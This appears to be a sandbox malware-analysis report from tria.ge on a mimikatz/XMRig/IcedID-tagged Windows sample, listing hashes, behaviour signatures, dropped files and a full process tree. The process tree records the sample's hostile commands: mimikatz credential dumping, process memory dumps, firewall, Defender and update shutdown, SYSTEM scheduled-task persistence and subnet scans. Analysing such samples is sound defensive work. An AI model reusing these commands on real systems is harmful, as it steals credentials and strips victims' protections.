Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    22/08/2024, 07:29

General

  • Target

    2024-08-22_2403525b42c5ceb42ef384730c1aaf25_hacktools_icedid_mimikatz.exe

  • Size

    8.9MB

  • MD5

    2403525b42c5ceb42ef384730c1aaf25

  • SHA1

    21de9ca3bd3a39194ecfce953391a825bbda95b7

  • SHA256

    c85d8e3172b35e8b8acb35e133150e6054f222e913c918be64490afccc84bc37

  • SHA512

    fedca1fa82192a1728b51a3c6bf6b864c290d6b117420f6c83e6cad21045a51331ea291f4cc9d3f08c7fb988c124f0f94154320a4fd34cbfd3f68a1ca524fb65

  • SSDEEP

    196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (16435) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 10 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 7 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 19 IoCs
  • Loads dropped DLL 25 IoCs
  • UPX packed file 33 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 12 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 14 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 31 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:496
      • C:\Windows\TEMP\hnhnitvtd\bctijf.exe
        "C:\Windows\TEMP\hnhnitvtd\bctijf.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1660
    • C:\Users\Admin\AppData\Local\Temp\2024-08-22_2403525b42c5ceb42ef384730c1aaf25_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-08-22_2403525b42c5ceb42ef384730c1aaf25_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2404
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ibbitebd\vcebeyb.exe
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2968
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:1832
        • C:\Windows\ibbitebd\vcebeyb.exe
          C:\Windows\ibbitebd\vcebeyb.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2940
    • C:\Windows\ibbitebd\vcebeyb.exe
      C:\Windows\ibbitebd\vcebeyb.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2784
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2932
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3040
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3048
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:2804
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
            3⤵
              PID:2884
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2704
            • C:\Windows\SysWOW64\cacls.exe
              cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2892
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static del all
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:2496
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add policy name=Bastards description=FuckingBastards
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:1672
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add filteraction name=BastardsList action=block
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:1904
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c C:\Windows\rbbittbck\iemcqtten\wpcap.exe /S
            2⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:3036
            • C:\Windows\rbbittbck\iemcqtten\wpcap.exe
              C:\Windows\rbbittbck\iemcqtten\wpcap.exe /S
              3⤵
              • Drops file in Drivers directory
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in System32 directory
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:2192
              • C:\Windows\SysWOW64\net.exe
                net stop "Boundary Meter"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:656
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "Boundary Meter"
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:2984
              • C:\Windows\SysWOW64\net.exe
                net stop "TrueSight Meter"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:716
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "TrueSight Meter"
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:1288
              • C:\Windows\SysWOW64\net.exe
                net stop npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1688
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:1728
              • C:\Windows\SysWOW64\net.exe
                net start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2304
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:2068
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1972
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
                PID:1408
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:1716
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net start npf
              2⤵
              • System Location Discovery: System Language Discovery
              PID:1584
              • C:\Windows\SysWOW64\net.exe
                net start npf
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2556
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:1960
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c C:\Windows\rbbittbck\iemcqtten\cbzzihqbc.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\rbbittbck\iemcqtten\Scant.txt
              2⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:1988
              • C:\Windows\rbbittbck\iemcqtten\cbzzihqbc.exe
                C:\Windows\rbbittbck\iemcqtten\cbzzihqbc.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\rbbittbck\iemcqtten\Scant.txt
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:2372
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c C:\Windows\rbbittbck\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\rbbittbck\Corporate\log.txt
              2⤵
              • Loads dropped DLL
              • Drops file in Windows directory
              PID:1524
              • C:\Windows\rbbittbck\Corporate\vfshost.exe
                C:\Windows\rbbittbck\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                3⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1476
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "tejekrupv" /ru system /tr "cmd /c C:\Windows\ime\vcebeyb.exe"
              2⤵
              • System Location Discovery: System Language Discovery
              PID:2384
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2796
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /sc minute /mo 1 /tn "tejekrupv" /ru system /tr "cmd /c C:\Windows\ime\vcebeyb.exe"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2856
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "rbebdeitq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ibbitebd\vcebeyb.exe /p everyone:F"
              2⤵
              • System Location Discovery: System Language Discovery
              PID:872
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2404
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /sc minute /mo 1 /tn "rbebdeitq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ibbitebd\vcebeyb.exe /p everyone:F"
                3⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:2936
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "dzthjtqic" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\hnhnitvtd\bctijf.exe /p everyone:F"
              2⤵
              • System Location Discovery: System Language Discovery
              PID:800
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2752
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /sc minute /mo 1 /tn "dzthjtqic" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\hnhnitvtd\bctijf.exe /p everyone:F"
                3⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:2868
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:1536
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:2940
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:2828
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static set policy name=Bastards assign=y
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:2660
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:1992
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:2480
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:2496
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static set policy name=Bastards assign=y
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              PID:1672
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:2420
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:2212
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:2236
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static set policy name=Bastards assign=y
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              PID:980
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net stop SharedAccess
              2⤵
              • System Location Discovery: System Language Discovery
              PID:308
              • C:\Windows\SysWOW64\net.exe
                net stop SharedAccess
                3⤵
                  PID:1244
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop SharedAccess
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:1544
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c netsh firewall set opmode mode=disable
                2⤵
                • System Location Discovery: System Language Discovery
                PID:484
                • C:\Windows\SysWOW64\netsh.exe
                  netsh firewall set opmode mode=disable
                  3⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Location Discovery: System Language Discovery
                  • Modifies data under HKEY_USERS
                  PID:2132
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c netsh Advfirewall set allprofiles state off
                2⤵
                  PID:2532
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh Advfirewall set allprofiles state off
                    3⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:2304
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c net stop MpsSvc
                  2⤵
                    PID:2056
                    • C:\Windows\SysWOW64\net.exe
                      net stop MpsSvc
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:2408
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop MpsSvc
                        4⤵
                        • System Location Discovery: System Language Discovery
                        PID:1792
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net stop WinDefend
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:1616
                    • C:\Windows\SysWOW64\net.exe
                      net stop WinDefend
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:1432
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop WinDefend
                        4⤵
                        • System Location Discovery: System Language Discovery
                        PID:1740
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net stop wuauserv
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:1212
                    • C:\Windows\SysWOW64\net.exe
                      net stop wuauserv
                      3⤵
                        PID:1064
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 stop wuauserv
                          4⤵
                            PID:1788
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config MpsSvc start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:2888
                        • C:\Windows\SysWOW64\sc.exe
                          sc config MpsSvc start= disabled
                          3⤵
                          • Launches sc.exe
                          PID:1860
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config SharedAccess start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:1452
                        • C:\Windows\SysWOW64\sc.exe
                          sc config SharedAccess start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:1988
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config WinDefend start= disabled
                        2⤵
                          PID:936
                          • C:\Windows\SysWOW64\sc.exe
                            sc config WinDefend start= disabled
                            3⤵
                            • Launches sc.exe
                            • System Location Discovery: System Language Discovery
                            PID:1284
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c sc config wuauserv start= disabled
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:1716
                          • C:\Windows\SysWOW64\sc.exe
                            sc config wuauserv start= disabled
                            3⤵
                            • Launches sc.exe
                            • System Location Discovery: System Language Discovery
                            PID:580
                        • C:\Windows\TEMP\rbbittbck\aemqzztnb.exe
                          C:\Windows\TEMP\rbbittbck\aemqzztnb.exe -accepteula -mp 496 C:\Windows\TEMP\rbbittbck\496.dmp
                          2⤵
                          • Executes dropped EXE
                          • Modifies data under HKEY_USERS
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2360
                        • C:\Windows\TEMP\xohudmc.exe
                          C:\Windows\TEMP\xohudmc.exe
                          2⤵
                          • Executes dropped EXE
                          • Drops file in System32 directory
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of SetWindowsHookEx
                          PID:2452
                        • C:\Windows\TEMP\rbbittbck\aemqzztnb.exe
                          C:\Windows\TEMP\rbbittbck\aemqzztnb.exe -accepteula -mp 1076 C:\Windows\TEMP\rbbittbck\1076.dmp
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2468
                        • C:\Windows\TEMP\rbbittbck\aemqzztnb.exe
                          C:\Windows\TEMP\rbbittbck\aemqzztnb.exe -accepteula -mp 1152 C:\Windows\TEMP\rbbittbck\1152.dmp
                          2⤵
                          • Executes dropped EXE
                          • Modifies data under HKEY_USERS
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2804
                        • C:\Windows\TEMP\rbbittbck\aemqzztnb.exe
                          C:\Windows\TEMP\rbbittbck\aemqzztnb.exe -accepteula -mp 1560 C:\Windows\TEMP\rbbittbck\1560.dmp
                          2⤵
                          • Executes dropped EXE
                          • Modifies data under HKEY_USERS
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2936
                        • C:\Windows\TEMP\rbbittbck\aemqzztnb.exe
                          C:\Windows\TEMP\rbbittbck\aemqzztnb.exe -accepteula -mp 268 C:\Windows\TEMP\rbbittbck\268.dmp
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2356
                        • C:\Windows\TEMP\rbbittbck\aemqzztnb.exe
                          C:\Windows\TEMP\rbbittbck\aemqzztnb.exe -accepteula -mp 1016 C:\Windows\TEMP\rbbittbck\1016.dmp
                          2⤵
                          • Executes dropped EXE
                          • Modifies data under HKEY_USERS
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1992
                        • C:\Windows\TEMP\rbbittbck\aemqzztnb.exe
                          C:\Windows\TEMP\rbbittbck\aemqzztnb.exe -accepteula -mp 2576 C:\Windows\TEMP\rbbittbck\2576.dmp
                          2⤵
                          • Executes dropped EXE
                          • Modifies data under HKEY_USERS
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2324
                        • C:\Windows\TEMP\rbbittbck\aemqzztnb.exe
                          C:\Windows\TEMP\rbbittbck\aemqzztnb.exe -accepteula -mp 2084 C:\Windows\TEMP\rbbittbck\2084.dmp
                          2⤵
                          • Executes dropped EXE
                          • Modifies data under HKEY_USERS
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2336
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd.exe /c C:\Windows\rbbittbck\iemcqtten\scan.bat
                          2⤵
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:1432
                          • C:\Windows\rbbittbck\iemcqtten\bnfndegth.exe
                            bnfndegth.exe TCP 194.110.0.1 194.110.255.255 445 512 /save
                            3⤵
                            • Executes dropped EXE
                            • Drops file in Windows directory
                            • System Location Discovery: System Language Discovery
                            PID:1064
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
                        1⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1984
                      • C:\Windows\SysWOW64\lyntms.exe
                        C:\Windows\SysWOW64\lyntms.exe
                        1⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of SetWindowsHookEx
                        PID:1936
                      • C:\Windows\system32\taskeng.exe
                        taskeng.exe {C6854799-1673-4B77-B6C9-C1CF74EFF33D} S-1-5-18:NT AUTHORITY\System:Service:
                        1⤵
                          PID:3000
                          • C:\Windows\system32\cmd.EXE
                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ibbitebd\vcebeyb.exe /p everyone:F
                            2⤵
                              PID:2492
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                3⤵
                                  PID:2256
                                • C:\Windows\system32\cacls.exe
                                  cacls C:\Windows\ibbitebd\vcebeyb.exe /p everyone:F
                                  3⤵
                                    PID:2128
                                • C:\Windows\system32\cmd.EXE
                                  C:\Windows\system32\cmd.EXE /c C:\Windows\ime\vcebeyb.exe
                                  2⤵
                                    PID:2476
                                    • C:\Windows\ime\vcebeyb.exe
                                      C:\Windows\ime\vcebeyb.exe
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                      • Suspicious use of SetWindowsHookEx
                                      PID:860
                                  • C:\Windows\system32\cmd.EXE
                                    C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\hnhnitvtd\bctijf.exe /p everyone:F
                                    2⤵
                                      PID:1852
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        3⤵
                                          PID:1552
                                        • C:\Windows\system32\cacls.exe
                                          cacls C:\Windows\TEMP\hnhnitvtd\bctijf.exe /p everyone:F
                                          3⤵
                                            PID:716
                                        • C:\Windows\system32\cmd.EXE
                                          C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ibbitebd\vcebeyb.exe /p everyone:F
                                          2⤵
                                            PID:3656
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                              3⤵
                                                PID:3208
                                              • C:\Windows\system32\cacls.exe
                                                cacls C:\Windows\ibbitebd\vcebeyb.exe /p everyone:F
                                                3⤵
                                                  PID:3440
                                              • C:\Windows\system32\cmd.EXE
                                                C:\Windows\system32\cmd.EXE /c C:\Windows\ime\vcebeyb.exe
                                                2⤵
                                                  PID:3228
                                                  • C:\Windows\ime\vcebeyb.exe
                                                    C:\Windows\ime\vcebeyb.exe
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:3520
                                                • C:\Windows\system32\cmd.EXE
                                                  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\hnhnitvtd\bctijf.exe /p everyone:F
                                                  2⤵
                                                    PID:3800
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                      3⤵
                                                        PID:3708
                                                      • C:\Windows\system32\cacls.exe
                                                        cacls C:\Windows\TEMP\hnhnitvtd\bctijf.exe /p everyone:F
                                                        3⤵
                                                          PID:2256

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • C:\Windows\SysWOW64\Packet.dll

                                                      Filesize

                                                      95KB

                                                      MD5

                                                      86316be34481c1ed5b792169312673fd

                                                      SHA1

                                                      6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

                                                      SHA256

                                                      49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

                                                      SHA512

                                                      3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

                                                    • C:\Windows\SysWOW64\wpcap.dll

                                                      Filesize

                                                      275KB

                                                      MD5

                                                      4633b298d57014627831ccac89a2c50b

                                                      SHA1

                                                      e5f449766722c5c25fa02b065d22a854b6a32a5b

                                                      SHA256

                                                      b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

                                                      SHA512

                                                      29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

                                                    • C:\Windows\TEMP\hnhnitvtd\config.json

                                                      Filesize

                                                      693B

                                                      MD5

                                                      f2d396833af4aea7b9afde89593ca56e

                                                      SHA1

                                                      08d8f699040d3ca94e9d46fc400e3feb4a18b96b

                                                      SHA256

                                                      d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

                                                      SHA512

                                                      2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

                                                    • C:\Windows\TEMP\rbbittbck\1016.dmp

                                                      Filesize

                                                      2.2MB

                                                      MD5

                                                      c10d1f4b1ea912ef726acc110b4f4628

                                                      SHA1

                                                      6fbeadc333a84eaa202a78714232f634627ed08d

                                                      SHA256

                                                      5c27d1efa2f84175c92df7cf95049f8f37f55ece513fb73f945f1d7ba7641fe5

                                                      SHA512

                                                      e186a67804774074313e1cfd40811545d7e1e831a19be32960a2f263c348048fafdae6b7c1ee19c2210623cda0cc796ac1bf0ecb451a724af8f35ba08d66b247

                                                    • C:\Windows\TEMP\rbbittbck\1076.dmp

                                                      Filesize

                                                      1.4MB

                                                      MD5

                                                      4bbcde20292d36556e3712f2ec4d2316

                                                      SHA1

                                                      f3fb6e91f0f19db28d506de99b6f6abfd31c08f1

                                                      SHA256

                                                      3f26a02da47259a74017bacd9259f750df2075251dbe774e1d988751fd66fdd4

                                                      SHA512

